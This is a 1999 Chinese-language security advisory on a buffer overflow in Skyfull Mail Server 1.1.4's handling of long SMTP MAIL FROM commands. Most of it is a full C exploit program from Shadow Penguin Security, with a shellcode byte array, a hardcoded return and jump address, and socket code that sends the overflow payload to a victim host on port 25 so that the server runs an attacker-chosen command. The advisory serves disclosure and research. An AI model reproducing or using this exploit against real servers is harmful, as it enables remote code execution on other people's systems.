发布日期：1999-10-30
更新日期：1999-10-30

受影响系统：

Microsoft Windows 95
Microsoft Windows NT

描述：

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在进行SMTP操作中，当接受一个长的MAIL FROM:时，Skyfull Mail Server 1.1.4中被发现存在溢出漏洞。当主机接受包含溢出代码的包时，它将执行溢出代码中包含的任意指令。

测试方法：

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警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

此例在windows 98下编写，进行修改后，可以在Windows 95和Windows NT下执行。

/*=============================================================================
   Skyfull Mail Server Version 1.1.4 Exploit
   The Shadow Penguin Security (http://shadowpenguin.backsection.net)
   Written by UNYUN (shadowpenguin@backsection.net)
  =============================================================================
*/

#include    <stdio.h>
#include    <string.h>
#include    <windows.h>
#include    <winsock.h>

#define        MAXBUF            3000
#define        RETADR            655
#define        JMPADR            651
#define        SMTP_PORT        25
#define        JMPEAX_ADR        0xbfe0a035

unsigned char exploit_code[200]={
0xEB,0x32,0x5B,0x53,0x32,0xE4,0x83,0xC3,
0x0B,0x4B,0x88,0x23,0xB8,0x50,0x77,0xF7,
0xBF,0xFF,0xD0,0x43,0x53,0x50,0x32,0xE4,
0x83,0xC3,0x06,0x88,0x23,0xB8,0x28,0x6E,
0xF7,0xBF,0xFF,0xD0,0x8B,0xF0,0x43,0x53,
0x83,0xC3,0x0B,0x32,0xE4,0x88,0x23,0xFF,
0xD6,0x90,0xEB,0xFD,0xE8,0xC9,0xFF,0xFF,
0xFF,0x00
};
unsigned char cmdbuf[200]="msvcrt.dll.system.welcome.exe";

main(int argc,char *argv[])
{
    SOCKET                 sock;
    SOCKADDR_IN             addr;
    WSADATA                 wsa;
    WORD                 wVersionRequested;
    unsigned int         ip,p1,p2;
    static unsigned char buf[MAXBUF],packetbuf[MAXBUF+1000];
    struct hostent       *hs;

    if (argc<2){
        printf("usage: %s VictimHost\n",argv[0]); return -1;
    }
    wVersionRequested = MAKEWORD( 2, 0 );
    if (WSAStartup(wVersionRequested , &wsa)!=0){
        printf("Winsock Initialization failed.\n"); return -1;
    }
    if ((sock=socket(AF_INET,SOCK_STREAM,0))==INVALID_SOCKET){
        printf("Can not create socket.\n"); return -1;
    }
    addr.sin_family        = AF_INET;
    addr.sin_port        = htons((u_short)SMTP_PORT);
    if ((addr.sin_addr.s_addr=inet_addr(argv[1]))==-1){
            if ((hs=gethostbyname(argv[1]))==NULL){
                printf("Can not resolve specified host.\n"); return -1;
            }
            addr.sin_family = hs->h_addrtype;
            memcpy((void *)&addr.sin_addr.s_addr,hs->h_addr,hs->h_length);
    }
    if (connect(sock,(LPSOCKADDR)&addr,sizeof(addr))==SOCKET_ERROR){
        printf("Can not connect to specified host.\n"); return -1;
    }
    recv(sock,packetbuf,MAXBUF,0);
    printf("BANNER FROM \"%s\" : %s\n",argv[1],packetbuf);

    memset(buf,0x90,MAXBUF); buf[MAXBUF]=0;
    ip=JMPEAX_ADR;
    buf[RETADR  ]=ip&0xff;
    buf[RETADR+1]=(ip>>8)&0xff;
    buf[RETADR+2]=(ip>>16)&0xff;
    buf[RETADR+3]=(ip>>24)&0xff;
    buf[JMPADR  ]=0xeb;
    buf[JMPADR+1]=0x80;

    strcat(exploit_code,cmdbuf);
    p1=(unsigned int)LoadLibrary;
    p2=(unsigned int)GetProcAddress;
    exploit_code[0x0d]=p1&0xff;
    exploit_code[0x0e]=(p1>>8)&0xff;
    exploit_code[0x0f]=(p1>>16)&0xff;
    exploit_code[0x10]=(p1>>24)&0xff;
    exploit_code[0x1e]=p2&0xff;
    exploit_code[0x1f]=(p2>>8)&0xff;
    exploit_code[0x20]=(p2>>16)&0xff;
    exploit_code[0x21]=(p2>>24)&0xff;
    memcpy(buf+JMPADR-strlen(exploit_code)-1,exploit_code,strlen(exploit_code));

    sprintf(packetbuf,"HELO UNYUN\n");
    send(sock,packetbuf,strlen(packetbuf),0);
    recv(sock,packetbuf,MAXBUF,0);
    printf("HELO: Reply from \"%s\" : %s\n",argv[1],packetbuf);
    sprintf(packetbuf,"MAIL FROM: UNYUN <%s@shadowpenguin.net>\r\n",buf);
    send(sock,packetbuf,strlen(packetbuf),0);
    closesocket(sock);
    printf("Done.\n");
    return FALSE;
}



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